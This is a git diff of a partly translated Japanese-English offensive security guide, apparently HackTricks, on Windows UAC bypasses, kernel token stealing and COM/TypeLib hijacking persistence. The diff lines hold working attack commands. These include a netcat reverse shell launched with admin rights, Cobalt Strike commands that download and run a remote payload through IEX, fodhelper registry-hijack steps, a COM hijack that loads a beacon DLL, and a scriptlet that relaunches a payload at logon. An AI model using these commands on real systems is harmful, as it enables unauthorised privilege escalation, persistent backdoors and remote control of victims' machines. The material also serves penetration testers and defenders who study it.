- If `EnableLUA=0` or **存在しない場合**, **誰に対しても UAC はありません**
|
||||
- If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=1` , 誰に対しても UAC はありません**
|
||||
- If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=0` and `FilterAdministratorToken=0`, RID 500(Built-in Administrator)には UAC はありません**
|
||||
- If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=0` and `FilterAdministratorToken=1`, 全員に UAC が適用されます**
|
||||
- If `EnableLUA=0` or **doesn't exist**, **no UAC for anyone**
|
||||
- If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=1` , No UAC for anyone**
|
||||
- If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=0` and `FilterAdministratorToken=0`, No UAC for RID 500 (Built-in Administrator)**
|
||||
- If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=0` and `FilterAdministratorToken=1`, UAC for everyone**
|
||||
|
||||
All this information can be gathered using the **metasploit** module: `post/windows/gather/win_privs`
|
||||
|
||||
@ -91,15 +92,15 @@ whoami /groups | findstr Level
|
||||
## UAC bypass
|
||||
|
||||
> [!TIP]
|
||||
> 被害者に対してグラフィカルなアクセスがある場合、UAC bypass は非常に簡単です — UAC プロンプトが表示されたら単純に "Yes" をクリックすればよいからです
|
||||
> 被害者にグラフィカルなアクセスがある場合、UAC bypass は簡単で、UAC プロンプトが表示されたら単に "Yes" をクリックするだけです
|
||||
|
||||
UAC bypass が必要となる状況は次のとおりです:**UAC が有効で、あなたのプロセスが medium integrity コンテキストで動作しており、あなたのユーザーが administrators グループに属していること**。
|
||||
The UAC bypass is needed in the following situation: **UAC が有効で、プロセスが medium integrity コンテキストで実行されており、ユーザが administrators グループに属している**。
|
||||
|
||||
重要なのは、UAC が最高のセキュリティレベル(Always)に設定されている場合は、他のいずれかのレベル(Default)よりも **UAC をバイパスするのがはるかに難しい** という点です。
|
||||
It is important to mention that it is **UAC が最も高いセキュリティレベル (Always) に設定されている場合、他のいずれのレベル (Default) に比べて UAC をバイパスするのがはるかに難しい**。
|
||||
|
||||
### UAC が無効
|
||||
### UAC disabled
|
||||
|
||||
もし UAC が既に無効 (`ConsentPromptBehaviorAdmin` は **`0`**) の場合、次のようにして(high integrity level)**execute a reverse shell with admin privileges** を実行できます:
|
||||
If UAC is already disabled (`ConsentPromptBehaviorAdmin` is **`0`**) you can **execute a reverse shell with admin privileges** (high integrity level) using something like:
|
||||
```bash
|
||||
#Put your reverse shell instead of "calc.exe"
|
||||
Start-Process powershell -Verb runAs "calc.exe"
|
||||
@ -110,12 +111,12 @@ Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10
|
||||
- [https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/](https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/)
|
||||
- [https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html](https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html)
|
||||
|
||||
### **Very** Basic UAC "bypass" (full file system access)
|
||||
### **非常に** 基本的な UAC "bypass" (full file system access)
|
||||
|
||||
Administrators グループに属するユーザーのシェルがある場合、新しいドライブにローカルで SMB (file system) 経由の共有を **mount the C$** すれば、ファイルシステム内のすべてに **access to everything inside the file system**(Administrator のホームフォルダも含む).
|
||||
If you have a shell with a user that is inside the Administrators group you can **mount the C$** shared via SMB (file system) local in a new disk and you will have **access to everything inside the file system** (even Administrator home folder).
|
||||
|
||||
> [!WARNING]
|
||||
> **このトリックはもう動作していないようです**
|
||||
> **このトリックはもう動作しないようです**
|
||||
```bash
|
||||
net use Z: \\127.0.0.1\c$
|
||||
cd C$
|
||||
@ -123,9 +124,9 @@ cd C$
|
||||
#Or you could just access it:
|
||||
dir \\127.0.0.1\c$\Users\Administrator\Desktop
|
||||
```
|
||||
### UAC bypass with cobalt strike
|
||||
### cobalt strike を用いた UAC bypass
|
||||
|
||||
Cobalt Strike の手法は、UAC が最大セキュリティレベルに設定されていない場合にのみ動作します。
|
||||
Cobalt Strike の手法は、UAC が最大のセキュリティレベルに設定されていない場合にのみ動作します。
|
||||
```bash
|
||||
# UAC bypass via token duplication
|
||||
elevate uac-token-duplication [listener_name]
|
||||
@ -137,7 +138,7 @@ runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-obj
|
||||
# Bypass UAC with CMSTPLUA COM interface
|
||||
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
|
||||
```
|
||||
**Empire** と **Metasploit** には **UAC** を **bypass** するモジュールがいくつかあります。
|
||||
**Empire** と **Metasploit** には **bypass** を行う **UAC** のモジュールがいくつかあります。
|
||||
|
||||
### KRBUACBypass
|
||||
|
||||
@ -145,10 +146,11 @@ runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.w
|
||||
|
||||
### UAC bypass exploits
|
||||
|
||||
[**UACME** ](https://github.com/hfiref0x/UACME) は複数の UAC bypass exploits を集めた**compilation**です。注意: **compile UACME using visual studio or msbuild** が必要です。**compilation** によりいくつかの実行ファイル(例: `Source\Akagi\outout\x64\Debug\Akagi.exe`)が作成されるため、どれが必要かを把握しておく必要があります。\
|
||||
いくつかの bypass は他のプログラムを**prompt some other programs** して、何かが起きていることを **user** に **alert** する場合があるので、**be careful** してください。
|
||||
[**UACME** ](https://github.com/hfiref0x/UACME) は複数の UAC bypass エクスプロイトの **コンパイル** です。注意:**UACME を visual studio または msbuild でコンパイルする必要があります**。コンパイルによりいくつかの実行可能ファイル(例: `Source\Akagi\outout\x64\Debug\Akagi.exe`)が生成されるため、**どれが必要かを把握する必要があります。**\
|
||||
|
||||
UACME には各 technique が動作し始めた **build version from which each technique started working** が記載されています。自分のバージョンに影響する technique を検索できます:
|
||||
一部の bypass は **他のプログラムを起動させ**、それが **ユーザー** に **警告** を出すことがあるため、**注意してください**。
|
||||
|
||||
UACME には **各手法が動作し始めたビルドバージョン** が記載されています。自分のバージョンに影響する手法を検索できます:
|
||||
```
|
||||
PS C:\> [environment]::OSVersion.Version
|
||||
|
||||
@ -156,17 +158,17 @@ Major Minor Build Revision
|
||||
----- ----- ----- --------
|
||||
10 0 14393 0
|
||||
```
|
||||
また、[this](https://en.wikipedia.org/wiki/Windows_10_version_history) ページを使うと、ビルド バージョンから Windows リリース `1607` を確認できます。
|
||||
また、[this](https://en.wikipedia.org/wiki/Windows_10_version_history) ページを使うと、ビルドバージョンから Windows リリース `1607` が分かります。
|
||||
|
||||
### UAC Bypass – fodhelper.exe (Registry hijack)
|
||||
|
||||
信頼されたバイナリである `fodhelper.exe` は、最新の Windows で自動的に昇格されます。起動時に、`DelegateExecute` verb を検証せずに下記のユーザー別レジストリパスを参照します。そこにコマンドを仕込むことで、Medium Integrity プロセス(ユーザーが Administrators に属している場合)が UAC prompt なしで High Integrity プロセスを生成できます。
|
||||
信頼されたバイナリ `fodhelper.exe` は現代の Windows で自動的に昇格されます。起動時に、`DelegateExecute` 動詞を検証せずに以下の per-user レジストリパスを参照します。そこにコマンドを仕込むと、Medium Integrity プロセス(ユーザが Administrators)から UAC プロンプトなしで High Integrity プロセスを生成できます。
|
||||
|
||||
Registry path queried by fodhelper:
|
||||
fodhelper が参照するレジストリパス:
|
||||
```
|
||||
HKCU\Software\Classes\ms-settings\Shell\Open\command
|
||||
```
|
||||
PowerShell の手順(payload をセットしてから trigger):
|
||||
PowerShell の手順(payload を設定してから trigger を実行):
|
||||
```powershell
|
||||
# Optional: from a 32-bit shell on 64-bit Windows, spawn a 64-bit PowerShell for stability
|
||||
C:\\Windows\\sysnative\\WindowsPowerShell\\v1.0\\powershell -nop -w hidden -c "$PSVersionTable.PSEdition"
|
||||
@ -185,45 +187,45 @@ Start-Process -FilePath "C:\\Windows\\System32\\fodhelper.exe"
|
||||
# 4) (Recommended) Cleanup
|
||||
Remove-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open" -Recurse -Force
|
||||
```
|
||||
注意:
|
||||
- 現在のユーザーが Administrators のメンバーで、UAC レベルがデフォルト/寛容(追加制限のある Always Notify ではない)である場合に動作します。
|
||||
- `sysnative` パスを使用して、64-bit Windows 上の 32-bit プロセスから 64-bit PowerShell を起動します。
|
||||
- ペイロードは任意のコマンド(PowerShell、cmd、または EXE パス)にできます。ステルスのため、プロンプトを表示する UI は避けてください。
|
||||
Notes:
|
||||
- 現在のユーザが Administrators のメンバーで、UAC レベルがデフォルト/寛容(Always Notify の追加制限ではない)である場合に動作します。
|
||||
- 64-bit Windows 上の 32-bit プロセスから 64-bit PowerShell を起動するには `sysnative` パスを使用してください。
|
||||
- Payload は任意のコマンド(PowerShell、cmd、または EXE パス)にできます。ステルスのためにプロンプトを表示する UI は避けてください。
|
||||
|
||||
#### More UAC bypass
|
||||
|
||||
ここで使われている AUC 回避の**すべて**の手法は、被害者とのフルインタラクティブシェルを**必要とします**(一般的な nc.exe シェルでは不十分です)。
|
||||
**All** the techniques used here to bypass AUC **require** a **full interactive shell** with the victim (a common nc.exe shell is not enough).
|
||||
|
||||
meterpreter セッションを使って取得できます。**process** を Session 値が **1** のものにマイグレートしてください:
|
||||
You can get using a **meterpreter** session. Migrate to a **process** that has the **Session** value equals to **1**:
|
||||
|
||||
.png>)
|
||||
|
||||
(_explorer.exe_ が動作するはずです)
|
||||
(_explorer.exe_ should works)
|
||||
|
||||
### UAC Bypass with GUI
|
||||
|
||||
GUI にアクセスできるなら、UAC プロンプトが出たときに単に承認すればよく、実際には回避は不要です。したがって、GUI へのアクセスを得ることで UAC をバイパスできます。
|
||||
GUI にアクセスできる場合は、UAC プロンプトが出たときに単に受諾すればよく、必ずしも bypass は必要ありません。つまり、GUI へのアクセスを得られれば UAC を回避できます。
|
||||
|
||||
さらに、誰かが使っていた GUI セッション(例えば RDP を介したもの)を取得すると、管理者として動作しているツールが存在し、そこから例えば cmd を **as admin** で直接実行でき、UAC による再プロンプトを受けない場合があります(例: [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif))。これは多少 **ステルス性が高い** かもしれません。
|
||||
さらに、誰かが使っている GUI セッション(RDP 経由の可能性あり)を取得できれば、そこでは **administrator として実行されているツール** が存在し、例えばそこから **cmd** を **as admin** で直接実行でき、UAC による再プロンプトが発生しない場合があります。例: [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif)。これは多少 **stealthy** かもしれません。
|
||||
|
||||
### Noisy brute-force UAC bypass
|
||||
|
||||
ノイズを気にしないなら、[**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) のようなものを実行して、ユーザーが承諾するまで権限昇格を要求し続けることもできます。
|
||||
ノイジーでも構わないなら、いつでも [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) のようなものを **実行して** ユーザが承諾するまで権限昇格を要求し続けることができます。
|
||||
|
||||
### Your own bypass - Basic UAC bypass methodology
|
||||
|
||||
UACME を見ると、ほとんどの UAC バイパスが Dll Hijacking の脆弱性を悪用していることがわかります(主に悪意のある dll を _C:\Windows\System32_ に書き込む)。[Dll Hijacking 脆弱性を見つける方法を読む](../windows-local-privilege-escalation/dll-hijacking/index.html)。
|
||||
**UACME** を見れば分かるように、**most UAC bypasses abuse a Dll Hijacking vulnerabilit**y(主に悪意のある dll を _C:\Windows\System32_ に書き込む)ことが多いです。[Read this to learn how to find a Dll Hijacking vulnerability](../windows-local-privilege-escalation/dll-hijacking/index.html)。
|
||||
|
||||
1. 自動昇格するバイナリを見つける(実行時に high integrity level で動作することを確認する)。
|
||||
2. procmon を使って、DLL Hijacking の脆弱性がある可能性のある "**NAME NOT FOUND**" イベントを探す。
|
||||
3. 書き込み権限のない保護されたパス(例: C:\Windows\System32)に DLL を書き込む必要があるかもしれません。これを回避する方法として:
|
||||
1. **wusa.exe**: Windows 7,8 and 8.1。CAB ファイルの内容を保護されたパスに展開できる(このツールは high integrity level で実行されるため)。
|
||||
2. **IFileOperation**: Windows 10。
|
||||
4. DLL を保護されたパスにコピーして、脆弱で autoelevated なバイナリを実行する **script** を用意する。
|
||||
1. 実行すると high integrity level で動作するような **autoelevate** するバイナリを見つける。
|
||||
2. procmon を使い、**NAME NOT FOUND** イベントを探して **DLL Hijacking** の脆弱になりうる箇所を特定する。
|
||||
3. 悪意の DLL を書き込むために、書き込み権限がない **protected paths**(例えば C:\Windows\System32)に書き込む必要がある場合が多い。これをバイパスする方法としては:
|
||||
1. **wusa.exe**: Windows 7,8 and 8.1。CAB ファイルの内容を protected paths に展開できる(このツール自体が high integrity level で実行されるため)。
|
||||
2. **IFileOperation**: Windows 10。
|
||||
4. DLL を protected path にコピーして、脆弱で autoelevated なバイナリを実行するスクリプトを用意する。
|
||||
|
||||
### Another UAC bypass technique
|
||||
|
||||
これは、**autoElevated binary** が実行される **binary** や **command** の **name/path** をレジストリから **read** しようとするかを監視する手法です(特に、そのバイナリがこの情報を **HKCU** の中で検索する場合に興味深い)。
|
||||
autoElevated なバイナリが、実行する **binary** や **command** の **name/path** をレジストリから **read** しようとするかどうかを監視する手法です(バイナリがこの情報を **HKCU** 内で探す場合に特に興味深い)。
|
||||
|
||||
## References
|
||||
- [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf) – fodhelper UAC bypass steps](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html)
|
||||
|
File diff suppressed because it is too large
Load Diff
@ -4,31 +4,31 @@
|
||||
|
||||
## 概要
|
||||
|
||||
脆弱なドライバが攻撃者に任意のカーネル読み取り/書き込みプリミティブを与える IOCTL を露出している場合、SYSTEM(NT AUTHORITY\SYSTEM)への昇格は SYSTEM のアクセス Token を盗むことで達成できることが多いです。この手法は、SYSTEM プロセスの EPROCESS から現在のプロセスの EPROCESS に Token ポインタをコピーします。
|
||||
If a vulnerable driver exposes an IOCTL that gives an attacker arbitrary kernel read and/or write primitives, elevating to NT AUTHORITY\SYSTEM can often be achieved by stealing a SYSTEM access token. The technique copies the Token pointer from a SYSTEM process’ EPROCESS into the current process’ EPROCESS.
|
||||
|
||||
なぜ動作するか:
|
||||
- 各プロセスは EPROCESS 構造体を持ち、その中に(他のフィールドとともに)Token(実際にはトークンオブジェクトへの EX_FAST_REF)が含まれる。
|
||||
- SYSTEM プロセス(PID 4)はすべての権限が有効になったトークンを保持している。
|
||||
- 現在のプロセスの EPROCESS.Token を SYSTEM のトークンポインタで置き換えると、現在のプロセスは即座に SYSTEM として実行される。
|
||||
- 各プロセスは EPROCESS 構造体を持ち、その中に(他のフィールドとともに)Token(実際にはトークンオブジェクトへの EX_FAST_REF)を含みます。
|
||||
- SYSTEM プロセス(PID 4)は、すべての権限が有効なトークンを保持しています。
|
||||
- 現在のプロセスの EPROCESS.Token を SYSTEM のトークンポインタで置き換えると、当該プロセスは即座に SYSTEM として実行されます。
|
||||
|
||||
> EPROCESS のオフセットは Windows のバージョンによって異なります。動的に決定する(symbols)か、バージョン固有の定数を使用してください。また EPROCESS.Token が EX_FAST_REF であること(下位 3 ビットが参照カウントフラグとして使われている)を忘れないでください。
|
||||
> EPROCESS 内のオフセットは Windows のバージョンによって異なります。動的に決定する(symbols)か、バージョン固有の定数を使用してください。また、EPROCESS.Token は EX_FAST_REF であり、下位3ビットは参照カウントのフラグであることを忘れないでください。
|
||||
|
||||
## 大まかな手順
|
||||
## 高レベルの手順
|
||||
|
||||
1) ntoskrnl.exe のベースを見つけ、PsInitialSystemProcess のアドレスを解決する。
|
||||
- ユーザーモードからは、NtQuerySystemInformation(SystemModuleInformation) や EnumDeviceDrivers を使ってロードされたドライバのベースを取得する。
|
||||
- カーネルベースに PsInitialSystemProcess のオフセット(symbols/リバースから取得)を加えて、そのアドレスを得る。
|
||||
2) PsInitialSystemProcess のポインタを読み取る → これは SYSTEM の EPROCESS へのカーネルポインタである。
|
||||
3) SYSTEM の EPROCESS から UniqueProcessId と ActiveProcessLinks のオフセットを読み取り、EPROCESS 構造体の二重リンクリスト(ActiveProcessLinks.Flink/Blink)をたどって、UniqueProcessId が GetCurrentProcessId() と等しい EPROCESS を見つけるまで進む。以下を保持する:
|
||||
- EPROCESS_SYSTEM(SYSTEM のため)
|
||||
- EPROCESS_SELF(現在のプロセスのため)
|
||||
4) SYSTEM トークンの値を読む: Token_SYS = *(EPROCESS_SYSTEM + TokenOffset).
|
||||
- 下位 3 ビットをマスクする: Token_SYS_masked = Token_SYS & ~0xF(ビルドによっては ~0xF や ~0x7 が一般的;x64 では下位 3 ビットが使われる — 0xFFFFFFFFFFFFFFF8 マスク)。
|
||||
5) Option A (common): 現在のトークンの下位 3 ビットを保持し、SYSTEM のポインタにそれらを付けることで埋め込み参照カウントの整合性を保つ。
|
||||
1) Locate ntoskrnl.exe base and resolve the address of PsInitialSystemProcess.
|
||||
- From user mode, use NtQuerySystemInformation(SystemModuleInformation) or EnumDeviceDrivers to get loaded driver bases.
|
||||
- Add the offset of PsInitialSystemProcess (from symbols/reversing) to the kernel base to get its address.
|
||||
2) Read the pointer at PsInitialSystemProcess → this is a kernel pointer to SYSTEM’s EPROCESS.
|
||||
3) From SYSTEM EPROCESS, read UniqueProcessId and ActiveProcessLinks offsets to traverse the doubly linked list of EPROCESS structures (ActiveProcessLinks.Flink/Blink) until you find the EPROCESS whose UniqueProcessId equals GetCurrentProcessId(). Keep both:
|
||||
- EPROCESS_SYSTEM (for SYSTEM)
|
||||
- EPROCESS_SELF (for the current process)
|
||||
4) Read SYSTEM token value: Token_SYS = *(EPROCESS_SYSTEM + TokenOffset).
|
||||
- Mask out the low 3 bits: Token_SYS_masked = Token_SYS & ~0xF (commonly ~0xF or ~0x7 depending on build; on x64 the low 3 bits are used — 0xFFFFFFFFFFFFFFF8 mask).
|
||||
5) Option A (common): Preserve the low 3 bits from your current token and splice them onto SYSTEM’s pointer to keep the embedded ref count consistent.
|
||||
- Token_ME = *(EPROCESS_SELF + TokenOffset)
|
||||
- Token_NEW = (Token_SYS_masked | (Token_ME & 0x7))
|
||||
6) カーネル書き込みプリミティブを使って Token_NEW を (EPROCESS_SELF + TokenOffset) に書き戻す。
|
||||
7) 現在のプロセスはこれで SYSTEM になっている。必要に応じて新しい cmd.exe や powershell.exe を起動して確認する。
|
||||
6) Write Token_NEW back into (EPROCESS_SELF + TokenOffset) using your kernel write primitive.
|
||||
7) Your current process is now SYSTEM. Optionally spawn a new cmd.exe or powershell.exe to confirm.
|
||||
|
||||
## 擬似コード
|
||||
|
||||
@ -105,17 +105,17 @@ system("cmd.exe");
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
注意:
|
||||
- Offsets: ターゲットの PDBs、またはランタイムのシンボルローダーとともに WinDbg の `dt nt!_EPROCESS` を使用して正しいオフセットを取得してください。盲目的にハードコードしないでください。
|
||||
- Mask: x64 では token は EX_FAST_REF です; 下位 3 ビットは参照カウントビットです。token の元の下位ビットを保持することで即時の参照カウント不整合を避けられます。
|
||||
- Stability: 現在のプロセスを昇格させることを優先してください。短命なヘルパーを昇格させると、そのプロセスが終了した際に SYSTEM を失う可能性があります。
|
||||
注意事項:
|
||||
- オフセット: WinDbg’s `dt nt!_EPROCESS` をターゲットの PDBs、または runtime symbol loader と一緒に使って正しいオフセットを取得してください。盲目的にハードコードしないでください。
|
||||
- マスク: x64 では token は `EX_FAST_REF` です;下位3ビットが参照カウントのビットになっています。token の元の下位ビットを保持することで即時の参照カウント不整合を避けられます。
|
||||
- 安定性: 現在のプロセスを昇格することを優先してください;短命なヘルパーを昇格させると、それが終了したときに SYSTEM を失う可能性があります。
|
||||
|
||||
## 検出 & 対策
|
||||
- 強力な IOCTL を公開する署名されていない、または信頼できないサードパーティ製ドライバのロードが根本原因です。
|
||||
- Kernel Driver Blocklist (HVCI/CI)、DeviceGuard、および Attack Surface Reduction ルールは脆弱なドライバのロードを防止できます。
|
||||
- EDR は arbitrary read/write を実装する疑わしい IOCTL シーケンスや token の入れ替えを監視できます。
|
||||
## 検出と緩和
|
||||
- 強力な IOCTLs を公開する署名されていない、または信頼できないサードパーティ製ドライバの読み込みが根本原因です。
|
||||
- Kernel Driver Blocklist (HVCI/CI)、DeviceGuard、および Attack Surface Reduction ルールは脆弱なドライバの読み込みを防止できます。
|
||||
- EDR は arbitrary read/write を実装する疑わしい IOCTL シーケンスや token swaps を監視できます。
|
||||
|
||||
## References
|
||||
## 参考
|
||||
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
|
||||
- [FuzzySecurity – Windows Kernel ExploitDev (token stealing examples)](https://www.fuzzysecurity.com/tutorials/expDev/17.html)
|
||||
|
||||
|
@ -4,21 +4,21 @@
|
||||
|
||||
### 存在しない COM コンポーネントの検索
|
||||
|
||||
HKCU の値はユーザーによって変更できるため、**COM Hijacking** は **永続化の手段** として利用できます。`procmon` を使えば、攻撃者が作成して永続化に利用できる、検索されるが存在しない COM レジストリを簡単に見つけられます。フィルタ:
|
||||
HKCU の値はユーザーによって変更できるため、**COM Hijacking** は**永続化の手段**として利用できます。`procmon` を使用すると、攻撃者が永続化のために作成できる、存在しない COM レジストリが検索された箇所を簡単に見つけられます。フィルタ:
|
||||
|
||||
- **RegOpenKey** 操作。
|
||||
- その _Result_ が **NAME NOT FOUND** であるもの。
|
||||
- そして _Path_ が **InprocServer32** で終わるもの。
|
||||
- **RegOpenKey** の操作。
|
||||
- _Result_ が **NAME NOT FOUND** のもの。
|
||||
- _Path_ が **InprocServer32** で終わるもの。
|
||||
|
||||
代わりに偽装する存在しない COM を決めたら、次のコマンドを実行します。 _数秒ごとにロードされる COM を偽装することにすると過剰になり得るので注意してください._
|
||||
偽装する存在しない COM を決めたら、以下のコマンドを実行します。_数秒ごとに読み込まれる COM を偽装すると過剰な動作を引き起こす可能性があるので注意してください。_
|
||||
```bash
|
||||
New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
|
||||
New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\beacon.dll"
|
||||
New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" -Name "ThreadingModel" -Value "Both"
|
||||
```
|
||||
### ハイジャック可能なタスク スケジューラ COM コンポーネント
|
||||
### ハイジャック可能な Task Scheduler COM コンポーネント
|
||||
|
||||
Windows Tasks は Custom Triggers を使って COM オブジェクトを呼び出します。これらは Task Scheduler を通じて実行されるため、いつトリガーされるかを予測しやすくなります。
|
||||
Windows Tasks は Custom Triggers を使って COM オブジェクトを呼び出します。Task Scheduler 経由で実行されるため、いつトリガーされるかを予測しやすくなります。
|
||||
|
||||
<pre class="language-powershell"><code class="lang-powershell"># Show COM CLSIDs
|
||||
$Tasks = Get-ScheduledTask
|
||||
@ -49,9 +49,9 @@ Write-Host
|
||||
# CLSID: {1936ED8A-BD93-3213-E325-F38D112938E1}
|
||||
# [more like the previous one...]</code></pre>
|
||||
|
||||
出力を確認すると、例えば **ユーザーがログインするたびに** 実行されるものを選択できます。
|
||||
出力を確認すると、例えば **ユーザーがログインするたび** 実行されるタスクを選べます。
|
||||
|
||||
次に CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}** を **HKEY\CLASSES\ROOT\CLSID** および HKLM、HKCU で検索すると、通常その値は HKCU には存在しないことがわかります。
|
||||
次に、CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}** を **HKEY\CLASSES\ROOT\CLSID** と HKLM および HKCU で検索すると、通常その値は HKCU に存在しないことが分かります。
|
||||
```bash
|
||||
# Exists in HKCR\CLSID\
|
||||
Get-ChildItem -Path "Registry::HKCR\CLSID\{1936ED8A-BD93-3213-E325-F38D112938EF}"
|
||||
@ -72,32 +72,32 @@ Name Property
|
||||
PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"
|
||||
Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist.
|
||||
```
|
||||
その後、HKCU エントリを作成するだけで、ユーザーがログインするたびに your backdoor が起動します。
|
||||
その後、HKCU エントリを作成するだけで、ユーザーがログインするたびにあなたの backdoor が実行されます。
|
||||
|
||||
---
|
||||
|
||||
## COM TypeLib Hijacking (script: moniker persistence)
|
||||
|
||||
Type Libraries (TypeLib) は COM インターフェースを定義し、`LoadTypeLib()` を介してロードされます。COM サーバーがインスタンス化されると、OS は `HKCR\TypeLib\{LIBID}` 以下のレジストリキーを参照して関連する TypeLib をロードすることがあります。TypeLib のパスが **moniker**(例: `script:C:\...\evil.sct`)に置き換えられると、TypeLib が解決される際に Windows がそのスクリプトレットを実行します — これにより、一般的なコンポーネントが触れられたときに発動するステルスな永続化が得られます。
|
||||
Type Libraries (TypeLib) は COM インターフェースを定義し、`LoadTypeLib()` を介して読み込まれます。COM サーバーがインスタンス化されると、OS は関連する TypeLib を `HKCR\TypeLib\{LIBID}` 以下のレジストリキーを参照して読み込むことがあります。TypeLib のパスが **moniker**(例: `script:C:\...\evil.sct`)で置き換えられると、TypeLib が解決される際に Windows は scriptlet を実行します — これにより、一般的なコンポーネントが呼び出されたときに発動するステルス性の高い持続化が得られます。
|
||||
|
||||
これは Microsoft Web Browser control に対して観測されており(頻繁に Internet Explorer、WebBrowser を埋め込むアプリ、そして `explorer.exe` によってロードされます)、悪用されています。
|
||||
これは Microsoft Web Browser control に対して確認されており(Internet Explorer、WebBrowser を埋め込んだアプリ、さらには `explorer.exe` によって頻繁に読み込まれます)。
|
||||
|
||||
### Steps (PowerShell)
|
||||
|
||||
1) 頻度の高い CLSID が使用する TypeLib (LIBID) を特定する。例 CLSID often abused by malware chains: `{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}` (Microsoft Web Browser)。
|
||||
1) 高頻度で使用される CLSID が使用する TypeLib (LIBID) を特定します。例として、マルウェアチェーンにより頻繁に悪用される CLSID: `{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}` (Microsoft Web Browser)。
|
||||
```powershell
|
||||
$clsid = '{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}'
|
||||
$libid = (Get-ItemProperty -Path "Registry::HKCR\\CLSID\\$clsid\\TypeLib").'(default)'
|
||||
$ver = (Get-ChildItem "Registry::HKCR\\TypeLib\\$libid" | Select-Object -First 1).PSChildName
|
||||
"CLSID=$clsid LIBID=$libid VER=$ver"
|
||||
```
|
||||
2) ユーザーごとの TypeLib パスをローカルの scriptlet に `script:` モニカーで指定する(管理者権限は不要):
|
||||
2) ユーザーごとの TypeLib パスをローカルの scriptlet を指すように `script:` モニカーで設定する(管理者権限不要):
|
||||
```powershell
|
||||
$dest = 'C:\\ProgramData\\Udate_Srv.sct'
|
||||
New-Item -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Force | Out-Null
|
||||
Set-ItemProperty -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Name '(default)' -Value "script:$dest"
|
||||
```
|
||||
3) 最小限の JScript `.sct` を配置して、primary payload を再起動させる(例: initial chain で使用される `.lnk`):
|
||||
3) Drop 最小限の JScript `.sct` を配置して primary payload(例: initial chain で使用される `.lnk`)を再起動する:
|
||||
```xml
|
||||
<?xml version="1.0"?>
|
||||
<scriptlet>
|
||||
@ -114,7 +114,7 @@ sh.Run(cmd, 0, false);
|
||||
</script>
|
||||
</scriptlet>
|
||||
```
|
||||
4) トリガー – IE を開く、WebBrowser control を埋め込んだアプリケーションを起動する、あるいは通常の Explorer の操作を行うだけで TypeLib が読み込まれ scriptlet が実行され、logon/reboot 時にあなたの chain が再度有効化されます。
|
||||
4) トリガー – IE を開く、WebBrowser control を埋め込んだアプリケーションを起動する、あるいは通常の Explorer の操作でさえ TypeLib をロードして scriptlet を実行し、ログオン/再起動時に chain を再有効化します。
|
||||
|
||||
クリーンアップ
|
||||
```powershell
|
||||
@ -124,10 +124,10 @@ Remove-Item -Recurse -Force "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver" 2>$n
|
||||
Remove-Item -Force 'C:\\ProgramData\\Udate_Srv.sct' 2>$null
|
||||
```
|
||||
注意
|
||||
- 同じロジックを他の使用頻度の高い COM コンポーネントにも適用できます。まず `HKCR\CLSID\{CLSID}\TypeLib` から実際の `LIBID` を解決してください。
|
||||
- 64ビットシステムでは、64ビットの利用元向けに `win64` サブキーも設定できます。
|
||||
- 他の高頻度で使用される COM コンポーネントにも同じロジックを適用できます;常に実際の `LIBID` を先に `HKCR\CLSID\{CLSID}\TypeLib` から解決してください。
|
||||
- 64-bit システムでは、64-bit の利用者向けに `win64` サブキーも設定できます。
|
||||
|
||||
## 参考資料
|
||||
## 参考
|
||||
|
||||
- [Hijack the TypeLib – New COM persistence technique (CICADA8)](https://cicada-8.medium.com/hijack-the-typelib-new-com-persistence-technique-32ae1d284661)
|
||||
- [Check Point Research – ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies](https://research.checkpoint.com/2025/zipline-phishing-campaign/)
|
||||
|
@ -1,28 +1,28 @@
|
||||
# Named Pipe client impersonation
|
||||
# Named Pipe Client Impersonation
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
